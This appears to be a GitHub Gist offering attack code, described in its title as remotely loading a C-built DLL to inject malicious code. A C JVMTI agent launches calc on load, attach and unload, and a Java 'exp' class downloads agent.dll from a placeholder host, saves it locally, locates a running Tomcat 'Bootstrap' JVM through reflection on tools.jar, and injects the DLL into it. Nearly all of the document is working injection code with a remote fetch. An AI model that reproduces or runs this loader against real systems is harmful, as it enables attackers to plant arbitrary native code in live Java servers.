Last active
January 9, 2022 06:26
-
-
Save Firebasky/c1efd9dc7eb964a77cb788c170a8598f to your computer and use it in GitHub Desktop.
远程加载c语言实现的dll注入恶意代码.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#include "pch.h" | |
#include "jvmti.h" | |
#include <iostream> | |
/* | |
* java agent有2个启动函数分别为Agent_OnLoad和Agent_OnAttach | |
* Agent_OnLoad在onload阶段被调用 | |
* Agent_OnAttach在live阶段被调用 | |
* 但是每个agent只有一个启动函数会被调用 | |
*/ | |
/* | |
* 此阶段JVM还没有初始化,所以能做的操作比较受限制 | |
* JVM参数都无法获取 | |
* The return value from Agent_OnLoad is used to indicate an error. | |
* Any value other than zero indicates an error and causes termination of the VM. | |
* 任何非零的返回值都会导致JVM终止。 | |
*/ | |
JNIEXPORT jint JNICALL Agent_OnLoad(JavaVM* vm, char* options, void* reserved) { | |
printf("Agent_OnLoad\n"); | |
system("calc"); | |
return JNI_OK; | |
} | |
JNIEXPORT jint JNICALL Agent_OnAttach(JavaVM* vm, char* options, void* reserved) { | |
printf("Agent_OnAttach\n"); | |
system("calc"); | |
return JNI_OK; | |
} | |
/* | |
* This function can be used to clean-up resources allocated by the agent. | |
*/ | |
JNIEXPORT void JNICALL Agent_OnUnload(JavaVM* vm) { | |
system("calc"); | |
printf("Agent_OnUnload\n"); | |
} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
/** | |
* @author:Firebasky | |
* 参考:https://tttang.com/archive/1368/ | |
* https://www.cnblogs.com/luoruiyuan/p/9132121.html | |
*/ | |
import java.io.*; | |
import java.lang.reflect.Method; | |
import java.net.URL; | |
import java.net.URLClassLoader; | |
import java.nio.channels.Channels; | |
import java.nio.channels.ReadableByteChannel; | |
import java.util.*; | |
public class exp { | |
//远程的dll文件 | |
public static String remoteFilePath="http://ip:88/agent.dll"; | |
//保存到本地的文件 | |
public static String localFilePath="D:\\library\\agent"; | |
//注入的进程名字 | |
public static String HookName ="Bootstrap";//演示程序demo类 tomcat启动是Bootstrap | |
public static void main(String[] args) throws Exception { | |
downloadFile(remoteFilePath,localFilePath); | |
attach(HookName); | |
} | |
/** | |
* 下载远程文件并保存到本地 | |
* @param remoteFilePath-远程文件路径 | |
* @param localFilePath-本地文件路径(带文件名) | |
*/ | |
public static void downloadFile(String remoteFilePath, String localFilePath) { | |
URL website = null; | |
ReadableByteChannel rbc = null; | |
FileOutputStream fos = null; | |
try { | |
website = new URL(remoteFilePath); | |
rbc = Channels.newChannel(website.openStream()); | |
fos = new FileOutputStream(localFilePath);//本地要存储的文件地址 例如:test.txt | |
fos.getChannel().transferFrom(rbc, 0, Long.MAX_VALUE); | |
} catch (Exception e) { | |
e.printStackTrace(); | |
}finally{ | |
if(fos!=null){ | |
try { | |
fos.close(); | |
} catch (IOException e) { | |
e.printStackTrace(); | |
} | |
} | |
if(rbc!=null){ | |
try { | |
rbc.close(); | |
} catch (IOException e) { | |
e.printStackTrace(); | |
} | |
} | |
} | |
} | |
/** | |
*通过反射获得pid然后加载 | |
* @throws Exception | |
*/ | |
public static void attach(String HookName) throws Exception{ | |
Map<String, Class<?>> classMap = LoadTools(); | |
Object hostId = classMap.get("sun.jvmstat.monitor.HostIdentifier").getDeclaredConstructor(String.class).newInstance("localhost"); | |
Method getMonitoredHost = classMap.get("sun.jvmstat.monitor.MonitoredHost").getMethod("getMonitoredHost",classMap.get("sun.jvmstat.monitor.HostIdentifier")); | |
Object mHost = getMonitoredHost.invoke(classMap.get("sun.jvmstat.monitor.MonitoredHost"),hostId); | |
Method activeVms = classMap.get("sun.jvmstat.monitor.MonitoredHost").getMethod("activeVms"); | |
Set jvlms = (Set) activeVms.invoke(mHost); | |
for (Iterator j = jvlms.iterator(); j.hasNext(); ) { | |
int lvmid = ((Integer) j.next()).intValue(); | |
try { | |
String vmidString = "//" + lvmid + "?mode=r"; | |
Object id = classMap.get("sun.jvmstat.monitor.VmIdentifier").getDeclaredConstructor(String.class).newInstance(vmidString); | |
Method getMonitoredVm = classMap.get("sun.jvmstat.monitor.MonitoredHost").getMethod("getMonitoredVm",classMap.get("sun.jvmstat.monitor.VmIdentifier"),int.class); | |
Object vm = getMonitoredVm.invoke(mHost,id,0); | |
Method mainClass = classMap.get("sun.jvmstat.monitor.MonitoredVmUtil").getMethod("mainClass",classMap.get("sun.jvmstat.monitor.MonitoredVm"),boolean.class); | |
String mainName = (String) mainClass.invoke(classMap.get("sun.jvmstat.monitor.MonitoredVmUtil"),vm,false); | |
if(mainName.equals(HookName)) {//启动的进程名字 | |
Method attach = classMap.get("com.sun.tools.attach.VirtualMachine").getMethod("attach", String.class); | |
//System.out.println(lvmid); | |
Object vMachine = attach.invoke(classMap.get("com.sun.tools.attach.VirtualMachine"),String.valueOf(lvmid));//pid | |
Method loadAgent = classMap.get("com.sun.tools.attach.VirtualMachine").getMethod("loadAgentPath", String.class); | |
loadAgent.invoke(vMachine,localFilePath);//临时Agent的路径 | |
System.out.println("Load Agent Successful!"); | |
} | |
} | |
catch (Exception e) { | |
e.printStackTrace(); | |
} | |
} | |
//List<VirtualMachineDescriptor> vmList = VirtualMachine.list(); // 获取运行中的JVM列表 | |
//for (VirtualMachineDescriptor vmd : vmList) {//java进程号通过jps -l 来获得 找到测试的JVM | |
// if (vmd.displayName().endsWith("demo")) {//匹配的进程 | |
// VirtualMachine virtualMachine = VirtualMachine.attach(vmd.id());//attach JVM, attach到目标ID的JVM上 | |
// virtualMachine.loadAgentPath(DllFilepath);//加载本地库 注意是loadAgentPath | |
// virtualMachine.detach();//断开 | |
// } | |
//} | |
} | |
/** | |
* 加载tools.jar的类 | |
*/ | |
public static Map<String,Class<?>> LoadTools()throws Exception{ | |
Map<String,Class<?>> classMap = new HashMap<String,Class<?>> (); | |
//获得tools路径 | |
java.io.File toolsPath = new java.io.File(System.getProperty("java.home").replace("jre", "lib") + java.io.File.separator + "tools.jar"); | |
java.net.URL url = toolsPath.toURI().toURL(); | |
//URL url1 = new URL("file:C:\\Program Files\\java\\jdk1.8.0_201\\lib\\tools.jar"); | |
URLClassLoader urlClassLoader = new URLClassLoader(new URL[] { url }, Thread.currentThread().getContextClassLoader()); | |
Class<?> virtualMachine = urlClassLoader.loadClass("com.sun.tools.attach.VirtualMachine"); | |
classMap.put("com.sun.tools.attach.VirtualMachine", virtualMachine); | |
Class<?> hostIdentifier = urlClassLoader.loadClass("sun.jvmstat.monitor.HostIdentifier"); | |
classMap.put("sun.jvmstat.monitor.HostIdentifier", hostIdentifier); | |
Class<?> monitorException = urlClassLoader.loadClass("sun.jvmstat.monitor.MonitorException"); | |
classMap.put("sun.jvmstat.monitor.MonitorException", monitorException); | |
Class<?> monitoredHost = urlClassLoader.loadClass("sun.jvmstat.monitor.MonitoredHost"); | |
classMap.put("sun.jvmstat.monitor.MonitoredHost", monitoredHost); | |
Class<?> monitoredVm = urlClassLoader.loadClass("sun.jvmstat.monitor.MonitoredVm"); | |
classMap.put("sun.jvmstat.monitor.MonitoredVm", monitoredVm); | |
Class<?> monitoredVmUtil = urlClassLoader.loadClass("sun.jvmstat.monitor.MonitoredVmUtil"); | |
classMap.put("sun.jvmstat.monitor.MonitoredVmUtil", monitoredVmUtil); | |
Class<?> vmIdentifier = urlClassLoader.loadClass("sun.jvmstat.monitor.VmIdentifier"); | |
classMap.put("sun.jvmstat.monitor.VmIdentifier", vmIdentifier); | |
return classMap; | |
} | |
} |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment